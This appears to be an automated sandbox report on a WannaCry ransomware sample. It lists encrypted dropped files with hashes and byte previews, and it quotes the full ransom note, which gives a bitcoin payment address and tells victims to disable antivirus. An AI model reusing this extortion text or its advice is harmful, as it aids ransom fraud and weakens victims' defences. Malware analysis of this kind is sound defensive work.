                                                                                                                        MD5:BE3B6C8A7BB9DEC37BCE93E64A288086
                                                                                                                        SHA1:91C39D060384BAF513000C4D864249BAD1110B23
                                                                                                                        SHA-256:0ED8D35EC3826C99D8C9633AB6F7570595A32C957C2A604EA55BE775628A31A9
                                                                                                                        SHA-512:B347DD31392706F503607B160227B1BEAD64ED7956EEDAE61DECDB6F0132D8502E49CA5E8AF0B45C4871E291C6D9F64D72F387F25F968D8E941C118A77852CE1
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....c.8#B.gg...(c..`.k..g.W..a=.."mH.C.K&..O.N.-TV.....D..%,..p..x+.E*.w>..m..S..v..\S..ce.....t.Bt..#r.....f...|...V..>7...@.....P*J.U\.M".#.=.Mw...x..H...{.O.1...y....H..]h.]..u1..............Z2..:........R....J5...a..q......L.#..x.)...@^x.Y...............4...5N...=Rd:.c...{<;^|..r...}..&.{..QZz...l...k.=X.+...`..pPn.+4.....@;.c.E......V..l.[.....3H5 [..(...c...g..@.........+i.......f.u...|..)..x../.....4.......A,..../....A....Gg.H......}...P2....m...,..F.....8X......o...e...t.......T..4..*........`n..}]....#Q...........#..&....7<.b`.....\.e.Qx.B........c.;-.m._O...Y.....P..Df=K..C.\.n...!J.V.......M.%y|q...CK.....................n.>1.A.x.S...y7......v.`(.J..e..N..?....(...c|..[...72zW........(h.~I.X8.....qO.t.^.XS.\H....'.ff.i.q....~.......s....P....v..X-.}S.x..[).".....oW...b...5D.x`.$r..{c......2_.n..*9..|Ol..+g?.QP.!P.tlJ...h..r...)MC..P.J.q....r.v.'mg]....".......+..l...D...-y3I..I.P..8..2.b.?e.S{;.k.....2m.EU.~.......@t.)

                                                                                                                        C:\Users\user\Documents\VAMYDFPUND\VAMYDFPUND.docx

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.816358224746691
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:Wm6Ja4fN/Zyvxxgs9lLyQ4c3s61LGu1VuzSwr9w:WxJa4fNCUs9hyQ4crGunOSwr9w
                                                                                                                        MD5:25F6E347503F94514E52B8C36092F0E1
                                                                                                                        SHA1:EB9844446C884C855E63D84A25AAA941258E40A9
                                                                                                                        SHA-256:297F1177B9591711C222283A4E666C7D96546F4A25E1E7A242C3A51D44407079
                                                                                                                        SHA-512:8F4188996399A59663FB41422699E7BBDA59BE74707CB31E31C05F9C45175F0D8149A209EFCA523AC40DD179CB97EFC27F6AC4EED8F040B5453C3936F65C7BAE
                                                                                                                        Malicious:false
                                                                                                                        Preview:..Q+M.Y.Vli$..tmO.4B......._6..(.N5f. .a......A...T...d...>...xT..}.x.!*.!_o.hY(....w.Z.c.[.y.G..Ud.=.Rr.KG@..."..n.}.sxF.~..K..xV..jZ....e..4.A......8..m...[o....gv.6.%..kgG.3P..KX...5......ME...q....s.....sb......=....z..*....W...g.(....J...r.#r+^1k@.... V.@..Z..U.W."..K...Q.....O..j...ZL...:.hEY.B............T..{.....8'%\...."..^'e'..}.F...O..l.C..E&_..q8.PpXhqO...h.X..|....J.....A.....dn?'5...kf+W..0..j.W....9.1c..i......>..-..Q.G3........rH.O.....E.X......-..(..r!....=J.n....&HWU..M.'+..k..K.aT.h..0.w..<...........a:2:X....<x.Z(......`].D.....S{.....-m...)3.q..l.n..C.M..rTxG...(.T.PvQ.dC=..#A.K......J.= .m.BZ.q.L.....ei..y;.c...{.\b.(........A3......'....l.wu..r.f..J\(Gh.V..MX..$d.....E.....9..b..h].F@..BQNo!..ZH.s.c..-..u...b.."...:.I..nB......h...+...)......Z.n......[.|...mG.`WA.I#V%....o..`vq.%......u{...".s...|.-..L..U._b.L.......7.S5.+....5....m..O.....!.k.O&...._W.}.....0.k..][:.p.FPH...u*=..69.&.e.]..p#...{.....D...*.

                                                                                                                        C:\Users\user\Documents\VAMYDFPUND\VAMYDFPUND.docx.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.842567500955968
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkvOOp37EEMvhD+gG5dX0fq388NPdTPOfEOEoG2Nq2KSkQ:bkv37Em5/X048c1PON
                                                                                                                        MD5:97423B5A3F944D482BA660687CF7C92B
                                                                                                                        SHA1:4380A76B7579537D5CF34CBEB4ACFC2DEA7D0A9C
                                                                                                                        SHA-256:61FA95E38EF2EF1248E1E1F249E272EE63EDD4444C2882831AF9DE2D16121FF2
                                                                                                                        SHA-512:04E725FE769C1C9DA338BEF76A026F1B24B92FE1B69A1BADBE56D921D6CEAB861F427D1619874BF221E1E67A0192252C41CECE042C24FA1BA5D1851007817A3C
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......a..ZQ..E..}.v......F....F..S..;..6.].vc....V6_..*"Rs%.`...>..>.......!....PSG.......v..}.......v...4{0...../.l..X....8Yw*.}....K....<./....t......B.}.-..8..8.[k}..X1I...z..b.d.B...B...].....X$.'.a.X.op..[....n......J...Q. B.,._M..{.y...............b.2.}.y.t.^x...Q.....X..%&.....{]..h......w..ob',y..><~.....6....Z..Q.k......V{.n.8.he.Rt.Y14.36.'..l?.@...B.$Xku..xU....,t..9..,.@..phY.....(..E.3I.8.......o@.x!Q.......3.:.M.n;.."o...&#.A8....P...C~...eo............\9..I`..C=9..h.cX!DF.[...%[......{Je!......[)t.p...-..g.+.0....X.!..TUTm...ie....s...z.jf.....a.Bd...v.zo(...V...Y=g..5......+......."e...n..7G.+.......8".G..U..:.QZT-..}4l._(...M....W.q.,.f..F.PPk.......(..D.8M/...!P...-..-\.>....)E*[.@.P`6...Z...,.l.../..WVU(jUm.m...P..Q.=d..u..yIB(.;.h.....X....#l.dL....W...}......@{p#0.{....|AT5...b.F9.&.jZlX.......$.Gb.!...[.....5R......*."......*...@.>.p....~S.-.Cp<...w..'].LS:..nb..$.ue...O...2.+.....(G.A..e=O....i.

                                                                                                                        C:\Users\user\Documents\VAMYDFPUND\VAMYDFPUND.docx.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.842567500955968
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkvOOp37EEMvhD+gG5dX0fq388NPdTPOfEOEoG2Nq2KSkQ:bkv37Em5/X048c1PON
                                                                                                                        MD5:97423B5A3F944D482BA660687CF7C92B
                                                                                                                        SHA1:4380A76B7579537D5CF34CBEB4ACFC2DEA7D0A9C
                                                                                                                        SHA-256:61FA95E38EF2EF1248E1E1F249E272EE63EDD4444C2882831AF9DE2D16121FF2
                                                                                                                        SHA-512:04E725FE769C1C9DA338BEF76A026F1B24B92FE1B69A1BADBE56D921D6CEAB861F427D1619874BF221E1E67A0192252C41CECE042C24FA1BA5D1851007817A3C
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......a..ZQ..E..}.v......F....F..S..;..6.].vc....V6_..*"Rs%.`...>..>.......!....PSG.......v..}.......v...4{0...../.l..X....8Yw*.}....K....<./....t......B.}.-..8..8.[k}..X1I...z..b.d.B...B...].....X$.'.a.X.op..[....n......J...Q. B.,._M..{.y...............b.2.}.y.t.^x...Q.....X..%&.....{]..h......w..ob',y..><~.....6....Z..Q.k......V{.n.8.he.Rt.Y14.36.'..l?.@...B.$Xku..xU....,t..9..,.@..phY.....(..E.3I.8.......o@.x!Q.......3.:.M.n;.."o...&#.A8....P...C~...eo............\9..I`..C=9..h.cX!DF.[...%[......{Je!......[)t.p...-..g.+.0....X.!..TUTm...ie....s...z.jf.....a.Bd...v.zo(...V...Y=g..5......+......."e...n..7G.+.......8".G..U..:.QZT-..}4l._(...M....W.q.,.f..F.PPk.......(..D.8M/...!P...-..-\.>....)E*[.@.P`6...Z...,.l.../..WVU(jUm.m...P..Q.=d..u..yIB(.;.h.....X....#l.dL....W...}......@{p#0.{....|AT5...b.F9.&.jZlX.......$.Gb.!...[.....5R......*."......*...@.>.p....~S.-.Cp<...w..'].LS:..nb..$.ue...O...2.+.....(G.A..e=O....i.

                                                                                                                        C:\Users\user\Documents\WKXEWIOTXI.docx

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.800476759468494
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:x5CB2Mjn5VwDYHxOwgd+deAa7Q5YX+YZA4BbC:rCB2CtHxfg04LX+EAz
                                                                                                                        MD5:A50690F674C70E8EE5E9AB1F0E8CFCD9
                                                                                                                        SHA1:A5D251AAD5358AFAE60524F937A84F0A6EB35AA1
                                                                                                                        SHA-256:467760E4FD87F58A893123869050AA9A95940B36495BF71CE07CE62EA48057DF
                                                                                                                        SHA-512:5D778A11FCDD87F07863297C182D85FCC357117BB4867DB8C364650FC4E62A956CEB51B1079891A441950A6A96A1777ED294C42A6E2D85297DE69045165E1E65
                                                                                                                        Malicious:false
                                                                                                                        Preview:<._.:.Y..CU...II...C..T........~.Kr....H..P...W.EP...zP..2.?..l..6P...n@......|.$1e.....R..!@..aR...........1.O..e.....U...\....6.3%......1.BD...Ss!Q(..h....aj...\.-q.E..o8.].A..CS...W.&..P.U../M.1..K.W.V#^}2.S...c.BC>..v.7..^,f`..2.e....2Q.R....;.=&'..t.-....j.S....[.l,...i....p....6...y..@....9vi.J...X...u.@.U..w..F(....q..2..1......`."m7.3^..!........'..p.V..7B(/q..c|.....:...*.}B..i..o.......a.E.f.4..~.s~.8_...C.[7......kw.k...4..%....Uo.T....)2.g...U.N]..,...6..jW......~t........n.N........A.U.z...".)... .@......8\..N#h.P..Q.....w.}z.Q8q....J..|.`~.3tU...lj.o...m.]'.h.;."-2.G...M..\..T./>.;...1.vPK.;:gQ..J#.......q8M.$......!q. R..... G...m2D...&..[.F.3..+..j.....l..q[....XT."....d.....<...I.~0.......%.....[D../....P...d..<.g?.Q....'`.q.f....DG....t,...5..u..X)...o..ZE&...9.b..W......K.h=j.R.[...!N..M!..6.......h..........F..;T.....+>.v.".l.8.]..;.<.m0..'qB..$.I..Ok..].....T.....\.B......>....v..p.E...]C.. .:y. ....g#...L$...I..6..

                                                                                                                        C:\Users\user\Documents\WKXEWIOTXI.docx.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.8113222706345
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkzKsT6oMhwOJOzHHXQoZKW5UP0fSrqiAtCLoGOwDKUwEr2uossmu:bkedoVOoAKKWGfrqi9wcsL
                                                                                                                        MD5:2D70024DDBA726E2C6B174B24B3922AA
                                                                                                                        SHA1:DEDFBCA305453B534289807E3DD0C65E42BACDB9
                                                                                                                        SHA-256:0675D9824A42D4498D2F793DEB208D4409B3016826A77246192A2808CF141A45
                                                                                                                        SHA-512:C4BDECA7372D05ED7AD9B8698D8E972DF80FBF66506D1274E79DB03484225A7E238E3036C03B73820E6769BC68A439FFB724E24848E5ED343A2D9192B8BAE1DB
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....w...w......\.....u..^...l.3ROte ..j9.T...]c..l..+[.).O>Zc:.>=....=.T.h7q.3..w+..x0v.1.H.!...u.v...d.....p...^,..&..'.O/.....R.S</.m]$.]W#A._m....es...|.pw....#.7Er.b..)n....r2w.,f).n.rY....m.pL.Q....Y.@'R|[......P++.;....LIo.).w...bd...J..v.............4....S.C.....Va.9.I...>.....\...'t...l.*Z.z......8...+.:t2.}..c....y.....K...`-...w.O..Wyox..........IV&]^.(...i#.gM.0M+..=...!.....c....b..{..l.bUD...I.&/s.....7...H.[..T.......AX.0.<....a..\..z.p...>.:B.U.z..Uf....nU.g.g..W....a_.e.m.`.M.`o...M!H.tV.t...@.m.......{m-...../...*.%.N..iymC,.v.|.._.a..r.:._V...?..Fi...TKx7..2..O@z.n>.f.l.MD.z#.n.T..X......hTg....ef...DI...|.v..Z..@r..x..Y`.......Z..+.9-..:c....2....F.8s..}.z.W..._:...s..._...v....Vx...ql..rb[......fW....C..h.sW+......{a..$|..\....f..z%.k........dZ..H....*S.9........MT....W..f..x\.|O..At.>XX2.8.......M.....:{....v..$....B.4."..O.C....H..G..........'z........m.Q.H..,...!.....Y=....V.K.4gIg...IhY....25M.t#...

                                                                                                                        C:\Users\user\Documents\WKXEWIOTXI.docx.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.8113222706345
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkzKsT6oMhwOJOzHHXQoZKW5UP0fSrqiAtCLoGOwDKUwEr2uossmu:bkedoVOoAKKWGfrqi9wcsL
                                                                                                                        MD5:2D70024DDBA726E2C6B174B24B3922AA
                                                                                                                        SHA1:DEDFBCA305453B534289807E3DD0C65E42BACDB9
                                                                                                                        SHA-256:0675D9824A42D4498D2F793DEB208D4409B3016826A77246192A2808CF141A45
                                                                                                                        SHA-512:C4BDECA7372D05ED7AD9B8698D8E972DF80FBF66506D1274E79DB03484225A7E238E3036C03B73820E6769BC68A439FFB724E24848E5ED343A2D9192B8BAE1DB
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....w...w......\.....u..^...l.3ROte ..j9.T...]c..l..+[.).O>Zc:.>=....=.T.h7q.3..w+..x0v.1.H.!...u.v...d.....p...^,..&..'.O/.....R.S</.m]$.]W#A._m....es...|.pw....#.7Er.b..)n....r2w.,f).n.rY....m.pL.Q....Y.@'R|[......P++.;....LIo.).w...bd...J..v.............4....S.C.....Va.9.I...>.....\...'t...l.*Z.z......8...+.:t2.}..c....y.....K...`-...w.O..Wyox..........IV&]^.(...i#.gM.0M+..=...!.....c....b..{..l.bUD...I.&/s.....7...H.[..T.......AX.0.<....a..\..z.p...>.:B.U.z..Uf....nU.g.g..W....a_.e.m.`.M.`o...M!H.tV.t...@.m.......{m-...../...*.%.N..iymC,.v.|.._.a..r.:._V...?..Fi...TKx7..2..O@z.n>.f.l.MD.z#.n.T..X......hTg....ef...DI...|.v..Z..@r..x..Y`.......Z..+.9-..:c....2....F.8s..}.z.W..._:...s..._...v....Vx...ql..rb[......fW....C..h.sW+......{a..$|..\....f..z%.k........dZ..H....*S.9........MT....W..f..x\.|O..At.>XX2.8.......M.....:{....v..$....B.4."..O.C....H..G..........'z........m.Q.H..,...!.....Y=....V.K.4gIg...IhY....25M.t#...

                                                                                                                        C:\Users\user\Documents\WKXEWIOTXI\@Please_Read_Me@.txt

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:ASCII text, with CRLF line terminators
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):933
                                                                                                                        Entropy (8bit):4.708686542546707
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                                                                                                        MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                                                                                                        SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                                                                                                        SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                                                                                                        SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                                                                                                        Malicious:false
                                                                                                                        Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                                        C:\Users\user\Documents\WKXEWIOTXI\@WanaDecryptor@.exe.lnk

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Jan 8 18:46:33 2025, mtime=Wed Jan 8 18:46:33 2025, atime=Fri May 12 06:22:56 2017, length=245760, window=hide
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):577
                                                                                                                        Entropy (8bit):5.167142294096636
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:12:8NpzYNbf2jUl9nNArUoBjAfodwalOmCt:8klbwAmsm
                                                                                                                        MD5:D32A14B20ADB8540FF2F16E7A3F0611D
                                                                                                                        SHA1:BB088EFA392719E58AD6EB2CE8AA38E01C22F661
                                                                                                                        SHA-256:7C1188B4684DCD5D3C276E697FFA8F4883225A01723ED332D81607AFB8B83851
                                                                                                                        SHA-512:01B71960133F8FA6ADE4AF85F5A0203E0F09B648EFF30F6C74483643225047F10A32A3EBF74A8F4202655E1EDFF43D1D24464F72D4D005D5A5189E81958A67ED
                                                                                                                        Malicious:true
                                                                                                                        Preview:L..................F.... .....w..b....w..b....U..................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.......`._........b.......b....t.2......J.: .@WANAD~1.EXE..X......(Z.(Z.....\.........................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......Z...............-.......Y.............[.....C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......226546..............n4UB.. .|..o........G.P..#.....n4UB.. .|..o........G.P..#.E.......9...1SPS..mD..pH.H@..=x.....h....H......c-dSA....n.............

                                                                                                                        C:\Users\user\Documents\WKXEWIOTXI\MXPXCVPDVN.mp3

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.819385068763893
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:arkhf5Xx5TL89ESliwLkF9acHJ//r2iTBdhm:Sk3TLhlFlpHrRM
                                                                                                                        MD5:D4F75CEA4C915E50D71091CC0FF16C3A
                                                                                                                        SHA1:EEE8B66050DC799FDAA90BAA06012BB1B6819DF6
                                                                                                                        SHA-256:08324F6AD8E5B0C8A92AF5763263F6D6ABD94670BFFC510BEBF1BACCC922FC9B
                                                                                                                        SHA-512:404DD8B9E5B46F90F9C15C9BF910931EE30F747F5727084195F81AD799E02DF973D5EAB2855BE8A2025B8F6F754D98DAAE8EA57357646CDF1C83AD9E6322EA21
                                                                                                                        Malicious:false
                                                                                                                        Preview:.c%@..s.6....... yu.@..'..L...E...%Hf.......M.;...O%.,...R.x..z.h...j../.y..po9.n=:..M]|V....*.4....^ZB......W...L)Q..o..\....Y...Z0.#.k?...uU.(,F..r.N(F~g7D..k]...<.%j.ZP...@0.n1.`..8... .9.)....6+.T?.7..A.....t.:.X.+.)...5=....].......G.....3d...U!G.f..?x.. T.......a.i.q...2Q...B.6f.A(GB.DemB%-.Gy'^FasK.z......a..............L...5$.b...M&.../.^.....0..K.7!.i1.k.wNL[....E"....\.rw...P...%..N.]h...:4..V..&V[.j+.<N..4..;O.s<.h.....7V..|.....~N....Z....J..S6.....M.j.......@....x{C....d.a.B.u.9...8+h....XW.d>..T..Y.]2.........K=..z<......&.G}.F.6..rU...`...<..x.f.Li.*#.}S...Z.1J...+.lN...........h.%.".i........z..+G....o.?up..L_4.}.S{.d..^..U...2~...z'.*B...U.>L.T<.?..y...'.q.o.f{D.U|.6.;b...8....4v5@....r.L.3.S....f.h..k..z....).p.4X..=.7k.[..t.S..".9.. ".Lf.)..<..!..o..8...o.u...z....[6a2`...NE@..,x...Y@|....Vl.1.~.e....y...P.x...x.. ....Q.......*.gD.u.:.=.._2.@.8...#\..2....j.T... ...[1.<..'l.......H.[...4.'Q).>...h.B7.-B.Q..O..AYp.,.

                                                                                                                        C:\Users\user\Documents\WKXEWIOTXI\MXPXCVPDVN.mp3.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.839247501541338
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkDDeBz8jhAk3iiQgr23uEqsEtk5Nh1VFvf3+wxe+RQ1BoTVv00yZO4t0jhGERyO:bkk8VAkSiQg63uElEtk5z1Vh3+uR9TVJ
                                                                                                                        MD5:29C7CD260CF2DDE7CFA9067C8C9FE2CE
                                                                                                                        SHA1:F86478D1061B408715E10048B118F857E6F5CBC5
                                                                                                                        SHA-256:D8A90AE5E25053A8EBD53E5DB63F1736FF960C906A95C30E4C8ED76776F268FE
                                                                                                                        SHA-512:2B31E72497B985A2855548BA34C018502DA94165AFFA9CAA28265E1FC7BA9BE912DD96514FB6C35A92D5B8F714299695A55A1A1EEE4836B4535DBDC425FCBA7F
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....9..z:.cM....b2..q..K..a.....t..r.c.d...H./...G;f.L.#.r0x...".v.6.....bv.8.].p...C..*..LF.n'._^&..V.!b$.rLOR...@....4.....4....'W.e.30U......d...s,V..E...\.#.[]<.]j...>.....J&..@..=..#N L.+.F..f...u >$....o..eZ4.K...@.N.....0.;.a...p....,M..o...a.H...............lsu(O^.|@?(.t.Q>....#KT.P...:.s...).\O2K.i.....^......p.....t..I.b...N.c'Q[....s=W..0+._.......{v...k. .S....*....{?J.R...o....../........X0Y. X..RQ.0..53Y6U.&m...N.G.y.<.wSy./........W.??U....|.f.i..w..<o.n....F..b.[...H..RW.....M%..._7.@.......,.R..8.t.).../..(a.d......^.8..?............x+7.}u....l.!..T..9K1...=.T....t/._&..;T..._.B._.K......9.u7K.5.....T....D...J.j...&.z..|.........E}....L..C.y.2..Q..6K.....n.7..$.d.O..[9...A......(t...kS~~.4...]...:C.yyn.Pu.q|.I.....df-.........K.?G.+Q....W....N.D..bT....~.~......>q.6ISX..L.U...W........'.....F?......R.kP.#^.......9.M..VCD.......%..D..=.^.]....$Ls\...>.......I.6I$.~..B.Q.....Zl..fR..f....\.T0.S....5......ik~.

                                                                                                                        C:\Users\user\Documents\WKXEWIOTXI\MXPXCVPDVN.mp3.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.839247501541338
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkDDeBz8jhAk3iiQgr23uEqsEtk5Nh1VFvf3+wxe+RQ1BoTVv00yZO4t0jhGERyO:bkk8VAkSiQg63uElEtk5z1Vh3+uR9TVJ
                                                                                                                        MD5:29C7CD260CF2DDE7CFA9067C8C9FE2CE
                                                                                                                        SHA1:F86478D1061B408715E10048B118F857E6F5CBC5
                                                                                                                        SHA-256:D8A90AE5E25053A8EBD53E5DB63F1736FF960C906A95C30E4C8ED76776F268FE
                                                                                                                        SHA-512:2B31E72497B985A2855548BA34C018502DA94165AFFA9CAA28265E1FC7BA9BE912DD96514FB6C35A92D5B8F714299695A55A1A1EEE4836B4535DBDC425FCBA7F
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....9..z:.cM....b2..q..K..a.....t..r.c.d...H./...G;f.L.#.r0x...".v.6.....bv.8.].p...C..*..LF.n'._^&..V.!b$.rLOR...@....4.....4....'W.e.30U......d...s,V..E...\.#.[]<.]j...>.....J&..@..=..#N L.+.F..f...u >$....o..eZ4.K...@.N.....0.;.a...p....,M..o...a.H...............lsu(O^.|@?(.t.Q>....#KT.P...:.s...).\O2K.i.....^......p.....t..I.b...N.c'Q[....s=W..0+._.......{v...k. .S....*....{?J.R...o....../........X0Y. X..RQ.0..53Y6U.&m...N.G.y.<.wSy./........W.??U....|.f.i..w..<o.n....F..b.[...H..RW.....M%..._7.@.......,.R..8.t.).../..(a.d......^.8..?............x+7.}u....l.!..T..9K1...=.T....t/._&..;T..._.B._.K......9.u7K.5.....T....D...J.j...&.z..|.........E}....L..C.y.2..Q..6K.....n.7..$.d.O..[9...A......(t...kS~~.4...]...:C.yyn.Pu.q|.I.....df-.........K.?G.+Q....W....N.D..bT....~.~......>q.6ISX..L.U...W........'.....F?......R.kP.#^.......9.M..VCD.......%..D..=.^.]....$Ls\...>.......I.6I$.~..B.Q.....Zl..fR..f....\.T0.S....5......ik~.

                                                                                                                        C:\Users\user\Documents\WKXEWIOTXI\SQRKHNBNYN.jpg

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.794255328499725
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:pPbZSZYwpte3BHDvliNB8QtfRevCZz67SuzbyAxRzsV46:psN6b4NB3fkaZznuSAxA46
                                                                                                                        MD5:360C863169550BBCBAD6231A9A6DA745
                                                                                                                        SHA1:18C44CFE5391EC1239C6E2A6492B481484748A04
                                                                                                                        SHA-256:DE7A9D7808435F9741350198D83633C05ACEF46A413A53CB146114DD14C5E41D
                                                                                                                        SHA-512:ACCC270B88C1D982A25959495EB7A417615175425CF845125FA420E5D60CF104891BFA5103CBE1F767FF7C01B45A60AA5068A8D2605D2AA32A780DAD376CF377
                                                                                                                        Malicious:false
                                                                                                                        Preview:.;2m..'&....Q....^Z( .*..(N.{......}.S...F."....{RTW.h[..{..*.]....9.Q.L.e6...cf.j.;..2.....=\...zm.,.z..t....4.A.w.<.|{E[@y3..Q..:....*i.:*....M.S.......v-..h...@".........\...N.>.\18.* .BWk..*6}..0.mE..Q/.TLxT....8.m.;.r..Q.....%QW~.A.h2.qrh..d.......3t....(...4}....).5..:....[.....l..j..K...;.g[....;...#.aF/^&.$.zo..%.7.....i.K#.L.RA"@..,"....w.r.Esa..e.TPKl.b.$.\...J.L#.Q.!..W....$....V.oY...]...xt..\+.X<.v.YeG$u.....IH"..sH......._"......c0_DP.)Bp..y..J....C...].,..pCT.UFU..._._4&1.N..F.H.3...]..+YH.D-.o.>.a...'.[......$......e........z.h.F.. ....._..N3....u........k..I..#...0.../..f.hQ.}..>6.E.......|..cy.4.>.o...H9.2...S...&PU_.Z.b...N.:.......iQ.<x...6.$..Z.M..!Nh..Q......j....I.f..|.Z7....9......+iD.a0....H....(..+#....t.{7b.doI....x$X2..&..U0..a.(..2j.<]..(.>...t..|]..:P.U....,~.y..9.6.\...e..K.k.Hf.]^f.......;..$...(N.h.#e..{.....x....a.!/hh.x.....%...N.\Q.Z.,.u7S.37.5..Q.e.3s...uM...2.@..74.. ..z..qh..../.e.0....*b...*..6...BN..

                                                                                                                        C:\Users\user\Documents\WKXEWIOTXI\SQRKHNBNYN.jpg.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.836730031832351
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkr8nRfzDbRha+SGnusy2ZVIhxunP9Yahdipe1OIcipeLQJtomnHrkUq19RCisk:bkwRbhFnvZVbPdKe185iHwUq7Qisk
                                                                                                                        MD5:2263A47E6D80CF37D278B48ED768A7C8
                                                                                                                        SHA1:C7223252C98FC0F20C874EE1E8A74C30E76644EF
                                                                                                                        SHA-256:41D5732F11FE2074F40B5E46BFE71E2617C5B9D35C6309F41D0AB3D331996C4B
                                                                                                                        SHA-512:4ADB283457BA56C2DE1827D0D690BD37F6FB8B35EE0B8C23F596E15F6024419D6D74DF287B7495B225B3502C2C097E8A5B995E8F2086AC28EEAF0F23C45B15AF
                                                                                                                        Malicious:false
